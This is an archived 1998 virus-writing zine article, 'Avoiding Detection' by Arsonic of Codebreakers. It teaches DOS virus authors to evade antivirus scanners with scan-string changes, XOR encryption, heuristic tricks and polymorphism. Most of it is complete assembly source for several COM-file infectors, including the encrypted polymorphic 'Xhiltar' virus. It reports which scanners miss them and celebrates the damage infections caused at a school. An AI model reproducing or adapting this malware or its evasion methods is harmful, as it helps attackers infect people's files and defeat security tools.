home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CODBRK3.ZIP / cb0206.txt < prev    next >
Text File  |  1998-03-23  |  17KB  |  683 lines

  1.  
  2.                        *** AVOIDING DETECTION ****
  3.                          By Arsonic[Codebreakers]
  4.  
  5.   The best thrill u get from a virus is not destroying someones computer,
  6.   and causing massive mayham..  but the thrill u get from knowing that
  7.   your virus has made it to the wild.. that your virus is not detectable
  8.   by some of the most famous virus scanners on the face of the planet.
  9.   and as these scanners get more and more sophisicated.. the need for
  10.   better and newer ways to remain undetectable increases.
  11.  
  12.   The Following article deals with very basic ways (yet they work) for
  13.   your virus's to get past scanners.
  14.  
  15.   ScanStrings
  16.  
  17.   A virus scanners search executables for scanstrings which are about
  18.   four plus bytes of uncommon code that will not be used in any normal
  19.   programs. So your virus's should use the most common code as possible.
  20.  
  21.   Also its unwise to leave strings such as *.com and *.exe unencrypted
  22.   you could change these strings abit so they would not be scanstrings..
  23.   such as *.com becomes *.c* and *.exe becomes *.e*
  24.  
  25.   Encryption
  26.  
  27.   Encryption is a great way for a virus to hide itself from scanners and
  28.   it also minimizes the number of bytes a av person has to get a scanstring
  29.   from. Encryption Routines can be simple such as xor, or very complex.
  30.  
  31. -----------------------CUT HERE---------------------------------------------
  32. start_of_xor:                  ;start of the virus
  33. lea si,encryption_start        ;si points to the start of the encrypted area
  34. mov di,si
  35. mov cx,end - encryption_start  ;total number of bytes in the encrypted area
  36. call encryption                ;call the encryption routine
  37. jmp encrption_start            ;and goto the encrypted area
  38.  
  39. encryption:                    ;our encryption routine
  40. lodsb                          ;load a byte into al
  41. xor al,byte ptr[decrypt]       ;xor the byte in al with the value from decrypt
  42. stosb                          ;put the byte back
  43. loop encryption                ;and do it again until cx = 0
  44. ret                            ;return from call
  45.  
  46. decrypt db 0                   ;our value in which to decrypt with
  47.  
  48.  
  49. encryption_start:              ;start of encrypted area..
  50.                                ;everything passed here is encrypted
  51.  
  52. mov ah,4eh                     ;Dos Function 4eh (find first file)
  53. lea dx,filemask                ;the type of files to find (*.com)
  54. find_next:                     ;label used for find next.. (saves bytes)
  55. int 21h
  56. jnc infect                     ;if file found.. then infect it
  57. jmp close                      ;else we close
  58.  
  59. infect:                        ;start of the infect routine
  60. mov ax,3d02h                   ;Dos Function 3d02 (openfile)
  61. mov dx,9eh                     ;9eh is where the filename is in the dta
  62. int 21h
  63.  
  64. xchg bx,ax                     ;put the file handle into bx
  65.  
  66. in al,40h                      ;get random value from system clock into al
  67. mov byte ptr [decrypt],al      ;and save it as our new decrypt key
  68.  
  69. mov ah,40h                               ;Dos Function 40 (Write to File)
  70. lea dx,start_of_xor                      ;start of the virus
  71. mov cx,encryption_start - start_of_xor   ;total bytes to write
  72. int 21h
  73.  
  74. lea si,encryption_start                  ;si points to the start of the
  75. encrypted area
  76. mov di,end_of_xor                        ;di points to end of the encrypted
  77. area / virus
  78. mov cx,end_of_xor - encryption_start     ;cx = the total number of bytes to
  79. encrypt
  80. call encryption                          ;call the encryption routine
  81.  
  82. mov ah,40h                               ;Dos Function 40 (Write to File)
  83. lea dx,encryption_start                  ;starting at start of encrypted area
  84. mov cx,end_of_xor - encryption_start     ;cx = total number of bytes in the
  85. encrypted area
  86. int 21h
  87.  
  88. mov ah,3eh                               ;Dos Function 3e (Close File)
  89. int 21h
  90.  
  91. mov ah,4fh                               ;Dos Function 4f (Find Next File)
  92. jmp find_next
  93.  
  94. close:
  95. int 20h       ;return control to dos
  96.  
  97. filemask db '*.com',0          ;filetype to infect
  98. Virus    db 'Xor Example',0    ;virus name
  99. end_of_xor:
  100.  
  101. -------------------END OF CUT-----------------------------------------------
  102.  
  103.  Screwing Up Heristics
  104.  
  105.  Heuristics are what a virus scanner uses to detect "virus like" code.
  106.  so you are not just finding and changing scanstrings nowadays when
  107.  a scanner detects your code. a quick, nice and simple way to make
  108.  it past heuristics is to add a value unto the register..
  109.  
  110.  example:
  111.  
  112.  mov ah,3eh  ;right now its Dos Function 3e (Close File)
  113.  add ah,2    ;add 2 to ah.. so it becomes.. 40 (write to file)
  114.  
  115.  u could also put the value into another register first, add 2 to it,
  116.  and then mov that value to the register needed for the function..
  117.  
  118.  mov al,3eh    ;what this does is exsentually the same thing. but
  119.  add al,2      ;uses another register.. adds 2, and then switches it to the
  120.  xchg ah,al    ;right register.
  121.  
  122.  ----------- Cut Here ----------------------------------------------------
  123. ; heres is a stupid little overwriter i wrote while i was attempting to write
  124. ; a unencrypted virus not yet detectable by any scanner. the code is fairly
  125. ; simple. For every Ah needed in the virus.. the value minus to is put into
  126. ; al, and a call to a routine that adds 2 to al and then switches it with
  127. ; ah.
  128. ;
  129. ; Stats:  AVP    NOPE
  130. ;         FPROT  NOPE
  131. ;         TBAV   NOPE
  132. ;
  133.  
  134. Start_Of_Virus:
  135. Find_First:
  136. mov al,4ch
  137. call Increase_Al
  138. Find_Next:
  139. lea dx,Filemask
  140. int 21h
  141. jnc Infect
  142. jmp Close
  143.  
  144. Infect:
  145. mov ax,3d02h
  146. mov dx,9eh
  147. int 21h
  148.  
  149. xchg bx,ax
  150.  
  151. mov al,3eh
  152. lea dx,Start_Of_Virus
  153. mov cx,End_Of_Virus - Start_Of_Virus
  154. call Increase_Al
  155. int 21h
  156.  
  157. mov al,3ch
  158. call Increase_Al
  159. int 21h
  160.  
  161. mov al,4dh
  162. call Increase_Al
  163. jmp Find_Next
  164.  
  165. Increase_Al:
  166. add al,2
  167. xchg al,ah
  168. ret
  169.  
  170. Close:
  171. ret
  172.  
  173. FileMask db '*.c*',0              ;if *.com was used it would be detected!
  174. Virus    db 'Fuck The Police!',0
  175. Author   db 'Arsonic',0
  176. End_Of_Virus:
  177.  
  178. -------------------- Dont Cut Past Here ----------------------------------
  179.  
  180. heres another little trick.. which surely can be improved since it is
  181. detected as Suspicous by F-Prot. All this is, is to call a routine to
  182. do int 21h and then return.
  183.  
  184. example:
  185.  
  186. mov ah,9h         ;Dos Function 9 (display string to screen)
  187. lea dx,message    ;dx = bytes to write to screen
  188. call int_21h      ;call the routine to do a int 21h
  189. int 20h           ;return control to dos
  190.  
  191. message db 'Arsonic + XHiltar',13,10,'$'   ;message to write to screen
  192.  
  193. int_21h:   ;our little int_21h routine
  194. int 21h    ;all we do is a int 21h
  195. ret        ;and return
  196.  
  197. ----------------------- Cut Here ------------------------------------------
  198.  
  199. start:
  200. mov ah,4eh           ;dos function 4e (find first file)
  201. lea dx,filemask      ;dx = type of file to find
  202. call int_21h         ;call the int_21h routine
  203. jnc infect           ;one found.. then infect
  204. jmp close            ;else close
  205.  
  206. infect:
  207. mov ax,3d02h         ;open file
  208. mov dx,9eh           ;location of filename in dta
  209. call int_21h         ;call the int_21h routine
  210.  
  211. xchg bx,ax           ;put the filehandle into bx
  212.  
  213. mov ah,40h           ;dos function 40 (write to file)
  214. lea dx,start         ;starting at start
  215. mov cx,end - start   ;cx = total number of bytes to write.. from end - start
  216. call int_21h         ;call our int_21h routine
  217.  
  218. mov ah,3eh           ;dos function 3e (close file)
  219. call int_21h         ;call our int_21h routine
  220.  
  221. int 20h              ;return control to dos
  222.  
  223. int_21h:             ;int_21h routine
  224. int 21h              ;do a int 21h
  225. ret                  ;and return
  226.  
  227. filemask db '*.c*',0          ;file extension to find
  228. virus    db 'Int 21h Trick'
  229. end:
  230. ------------------- Hey FUCKHEAD DONT CUT PASTE HERE! ----------------------
  231.  
  232. Random Filesize Increase
  233.  
  234. Alright.. so we've covered alot on hiding your virus from av programs..
  235. but what about the user?. time/date restoration and attribute restoration
  236. are kickass.. because if u look at one directory and see all the exes, coms
  237. whatever have the same time and date your gonna get suspicous. Also filesize
  238. increases might be spotted by users. This little Routine will give your virus
  239. a totally random filesize, and might even confuse some stupid people..
  240.  
  241. its pretty simple.. all we do is 1) set file pointer to EOF (end of file)
  242.                                  2) write some garbage bytes
  243.                                  3) get a random value from system clock
  244.                                  4) compare it and see if it is time to quit
  245.  
  246. Size_Increase:
  247. mov ax,4202h             ;Dos Function 4202 (set filepointer to end of file)
  248. xor cx,cx
  249. xor dx,dx
  250. int 21h
  251.  
  252. mov ah,40h               ;Dos Function 40 (write to file)
  253. lea dx,write_byte        ;dx = write_byte
  254. mov cx,3                 ;we are writing 3 bytes
  255. int 21h
  256.  
  257. in al,40h                ;get value into al
  258. and al,10                ;not greater then 10
  259.  
  260. cmp al,5                 ;compare al to 5
  261. je Close_File            ;if its equal .. its time to exit
  262. jmp Size_Increase        ;else we do it all over again
  263.  
  264. write_byte db 'ARS'      ;the 3 bytes we write to the end
  265.  
  266. -------------- Start of Cut ----------------------------------------------
  267.  
  268. Start:
  269. mov ah,4eh
  270. Find_Next:
  271. lea dx,Filemask
  272. int 21h
  273. jnc Infect
  274. jmp Close
  275.  
  276. Infect:
  277. mov ax,3d02h
  278. mov dx,9eh
  279. int 21h
  280.  
  281. xchg bx,ax
  282.  
  283. mov ah,40h
  284. lea dx,Start
  285. mov cx,End - Start
  286. int 21h
  287.  
  288. Meta_Morph:
  289. mov ax,4202h
  290. xor cx,cx
  291. xor dx,dx
  292. int 21h
  293.  
  294. mov ah,40h
  295. lea dx,writebyte
  296. mov cx,1
  297. int 21h
  298.  
  299. in al,40h
  300. and al,7
  301.  
  302. cmp al,6
  303. jne Meta_Morph
  304. jmp Close_File
  305.  
  306. Close_File:
  307. mov ah,3eh
  308. int 21h
  309.  
  310. mov ah,4fh
  311. jmp Find_Next
  312.  
  313. Close:
  314. int 20h
  315.  
  316. writebyte db 'a'
  317. filemask db '*.com',0
  318. Virus db 'I love Lisa'
  319. Author db 'Arsonic'
  320. End:
  321.  
  322. ------------------ If your cutting past here.. youve gone too far----------
  323.  
  324. ok.. thats like it for this tutorial.. below are two of my other virus's
  325. just because..eh. yeah. alright fine. WHATEVER
  326.  
  327.    Greetz to:  Spooky -Tha Porn King
  328.                Opic   -Tha Man!
  329.                Sea4   -Tha Cop Killer
  330.                HT     -Future Editor For The NewYork Times
  331.               Aperson -if u want crack.. call him. (also heroin!)
  332.             Saaweetie -watch it for she will send ya a batch file!
  333.              Groucho  -get better man :(
  334.              XHILTAR  -I LOVE U LISA!!!!!!!!
  335.  
  336.    Fuck-Yous to:
  337.  
  338.   My Computer Teachers -The Dumbass's Pulled Drained all the schools cpu
  339.    batterys cause they thought elvira infected the CMOS! .. haha
  340.    and as we speak the servers are being rebuilt. Thats what they get
  341.    for having a outdated virus scanner i guess.
  342.  
  343.   Cutie Pie -Hey.. U got your windows back up yet? .. hey.. i think
  344.   saaweetie has a batch file to fix that!!!!! CRASH! haha!
  345.  
  346.  -------------------Start Ripping Here-------------------------------------
  347. ; Virus: The Undressed Virus
  348. ; Author: Arsonic[Codebreakers]
  349. ; Type: Appending
  350. ; Encryption: No
  351. ;
  352. ; Displays a Message on Feb 5th.
  353. ; Btw.. I Love Lisa..!
  354. ;------------------------------------------------------------------------
  355. ;  AV-Product |         Detected? |            Comments
  356. ;------------------------------------------------------------------------
  357. ; F-Prot      |    No             |  Easy to Get Past.. FPROT SUCKS!
  358. ; TBAV        |    Unknown Virus  |  Well.. at least it aint say VCL!
  359. ; AVP         |    VCL.824        |  VCL! ARRGGGHH!
  360. ;------------------------------------------------------------------------
  361.  
  362. db 0e9h,0,0
  363. start:
  364. call delta
  365. delta:
  366. pop bp
  367. sub bp,offset delta
  368.  
  369. mov cx,0ffffh     ;kill heristics
  370. fprot_loopy:
  371. jmp back
  372. mov ax,4c00h
  373. int 21h
  374. back:
  375. loop fprot_loopy
  376.  
  377. mov cx,3
  378. nop
  379. mov di,100h
  380. nop
  381. lea si,[bp+buffer]
  382. nop
  383. rep movsb
  384.  
  385. find_first:
  386. mov ah,4ch
  387. add ah,2
  388. nop
  389. find_next:
  390. nop
  391. lea dx,[bp+filemask]
  392. nop
  393. int 21h
  394. jnc infect
  395. jmp check_payload
  396.  
  397. infect:
  398. mov ax,3d02h
  399. mov dx,9eh
  400. int 21h
  401.  
  402. xchg ax,bx
  403.  
  404. mov ah,3dh
  405. add ah,2
  406. mov cx,3
  407. lea dx,[bp+buffer]
  408. int 21h
  409.  
  410. mov ax,word ptr[80h + 1ah]
  411. nop
  412. sub ax,end - start + 3
  413. nop
  414. cmp ax,word ptr[bp+buffer+1]
  415. nop
  416. je close_file
  417.  
  418. mov ax,word ptr[80h + 1ah]
  419. nop
  420. sub ax,3
  421. nop
  422. mov word ptr[bp+three+1],ax
  423.  
  424. mov ax,4200h
  425. xor cx,cx
  426. cwd
  427. int 21h
  428.  
  429. mov ah,3eh
  430. add ah,2
  431. nop
  432. lea dx,[bp+three]
  433. nop
  434. mov cx,3
  435. nop
  436. int 21h
  437.  
  438. mov ax,4202h
  439. xor cx,cx
  440. cwd
  441. int 21h
  442.  
  443. mov ah,3eh
  444. add ah,2
  445. nop
  446. lea dx,[bp+start]
  447. nop
  448. mov cx,end - start
  449. nop
  450. int 21h
  451.  
  452. close_file:
  453. mov ah,3ch
  454. add ah,2
  455. int 21h
  456.  
  457. mov ah,4dh
  458. add ah,2
  459. jmp find_next
  460.  
  461. check_payload:
  462. mov ah,2ah
  463. int 21h
  464. cmp dh,2       ;is it febuary?
  465. je next
  466. jmp close
  467. next:
  468. cmp dl,5       ;the 5th?
  469. je payload     ;yes.. display the message
  470. jmp close      ;no.. return control to the program.
  471.  
  472. payload:
  473. mov ah,9h ;display message
  474. lea dx,[bp+message]
  475. int 21h
  476. int 00h  ;get keypress
  477. int 16h
  478. int 20h  ;return to dos.
  479.  
  480. close:
  481. mov di,100h   ;return control to program
  482. jmp di
  483.  
  484. three db 0e9h,0,0
  485. filemask  db '*.co*',0     ;if *.com it would be detected as trival variant
  486.  
  487. buffer    db 0cdh,20h,0
  488. virus     db 'The UnDreSSeD',0         ; messages to give those av'ers a
  489. author    db 'Arsonic[CB]',0           ; nice scan string..
  490. message   db 'Happy Birthday Lisa!',10,13,'$'
  491. Lisa      db 'I LOVE U LISA!',0
  492. end:
  493.  
  494. --------- STOP DA FUCKING CUTTING NOW ------------------------------------
  495.  
  496. --------- START IT AGAIN! ahhhhhhhhhhhhhhhhhhhh --------------------------
  497. ; The Xhiltar Virus
  498. ; By Arsonic[Codebreakers]
  499. ; Type: Runtime Appending Com Infector
  500. ; Encrypted: Yes
  501. ; Polymorphic: Yes
  502. ; Time/Date: Yes
  503. ; add Attrib: Yes
  504. ; Changes Directory's: Yes (dotdot method)
  505. ; Anti-Anti-Virus: Yes (anti-heristics)
  506. db 0e9h,0,0
  507.  
  508. start:
  509. call delta
  510. delta:
  511. pop bp
  512. sub bp,offset delta
  513.  
  514. mov cx,0ffffh                   ;fuck up those heristics!
  515. fprot_loopy:
  516. jmp back
  517. mov ax,4c00h
  518. int 21h
  519. back:
  520. loop fprot_loopy
  521.  
  522. lea si,[bp+hidden_start]
  523. mov di,si
  524. mov cx,end - hidden_start
  525. call encryption
  526. jmp  hidden_start
  527.  
  528. value db 0
  529.  
  530. encryption:                       ;encryption routine
  531. call poly
  532. encrypt:
  533. lodsb                         ;1
  534. _1stDummy:
  535. nop                           ;1 = +1
  536. xor al,byte ptr[bp+value]     ;4
  537. _2ndDummy:
  538. nop                           ;1 = +6
  539. stosb                         ;1
  540. _3rdDummy:
  541. nop                           ;1 = +8
  542. loop encrypt                  ;2
  543. _4thDummy:
  544. nop                           ;1 = +11
  545.  
  546. ret
  547.  
  548. hidden_start:
  549. mov cx,3
  550. mov di,100h                    ;restore the first 3 bytes
  551. lea si,[bp+buff]
  552. rep movsb
  553.  
  554. find_first:                    ;find first file
  555. mov  ah,4eh
  556. find_next:
  557. lea  dx,[bp+filemask]
  558. xor  cx,cx                     ;with 0 attrib's..
  559. int  21h
  560. jnc  infect
  561.  
  562. close:
  563. push 100h
  564. ret
  565.  
  566. infect:
  567. mov ax,3d02h                   ;open file
  568. mov dx,9eh
  569. int 21h
  570. xchg bx,ax
  571.  
  572. mov ax,5700h                   ;get time/date
  573. int 21h
  574. push dx                        ;save the values
  575. push cx
  576.  
  577. in   al,40h                    ;get new encrypt value from system clock
  578. mov  byte ptr [bp+value],al
  579.  
  580. mov ah,3fh                     ;read 3 bytes from the file.. too
  581. mov cx,3                       ;be replaced with a jump to the virus
  582. lea dx,[bp+buff]
  583. int 21h
  584.  
  585. mov ax,word ptr [80h + 1ah]    ;check for infect
  586. sub ax,end - start + 3
  587. cmp ax,word ptr[bp+buff+1]
  588. je close_file
  589.  
  590. mov ax,word ptr[80h + 1ah]
  591. sub ax,3
  592. mov word ptr[bp+three+1],ax
  593.  
  594. mov ax,4200h                   ;goto start of file
  595. xor cx,cx
  596. xor dx,dx
  597. int 21h
  598.  
  599. mov ah,40h                     ;write the 3 byte jump
  600. lea dx,[bp+three]
  601. mov cx,3
  602. int 21h
  603.  
  604. mov ax,4202h                   ;goto end of file
  605. xor cx,cx
  606. xor dx,dx
  607. int 21h
  608.  
  609. mov ah,40h                     ;write the unencrypted area
  610. lea dx,[bp+start]
  611. mov cx,hidden_start - start
  612. int 21h
  613.  
  614. lea si,[bp+hidden_start]       ;encrypt the virus
  615. lea di,[bp+end]
  616. mov cx,end - hidden_start
  617. call encryption
  618.  
  619. mov ah,40h                     ;write encrypted area
  620. lea dx,[bp+end]
  621. mov cx,end - hidden_start
  622. int 21h
  623.  
  624. close_file:
  625. mov ax,5701h                   ;restore time/date
  626. pop cx                         ;with saved values
  627. pop dx
  628. int 21h
  629.  
  630. mov ah,3eh                     ;close file
  631. int 21h
  632.  
  633. mov  ah,4Fh                    ;find next file
  634. jmp find_next
  635.  
  636. poly:
  637. call random                    ;get random value
  638. mov [bp+_1stDummy],dl          ;write random do-nothing call to encrypt
  639. call random
  640. mov [bp+_2ndDummy],dl
  641. call random
  642. mov [bp+_3rdDummy],dl
  643. call random
  644. mov [bp+_4thDummy],dl
  645. ret
  646.  
  647. garbage:
  648. nop       ; no operation instruction
  649. clc       ; Clear Carry
  650. stc       ; Set Carry
  651. sti       ; Set Interuppt Flag
  652. cld       ; Clear Direction Flag
  653. cbw       ; Convert byte to word
  654. inc  dx   ; increase dx
  655. dec  dx   ; decrease dx
  656. lahf      ; loads AH with flags
  657.  
  658. random:
  659. in ax,40h
  660. and ax,7
  661. xchg bx,ax
  662. add  bx,offset garbage
  663. add  bx,bp
  664. mov  dl,[bx]
  665. ret
  666.  
  667. filemask db '*.com',0
  668. three    db 0e9h,0,0
  669. buff     db 0cdh,20h,0
  670. dotdot   db '..',0
  671. author   db 'Arsonic[Codebreakers]',13,10,'$'
  672. virus    db 'the XHiLTAR virus',13,10,'$'
  673.          db 'I LOVE U LISA',13,10,'$'
  674.          db 'I LOVE U SOOOO MUCH!',13,10,'$'
  675. end:
  676.  
  677. ---------------------- End of All of it -----------------------------------
  678.  
  679. Laters Y'all
  680. Arsonic [Codebreakers]
  681.  
  682.  
  683.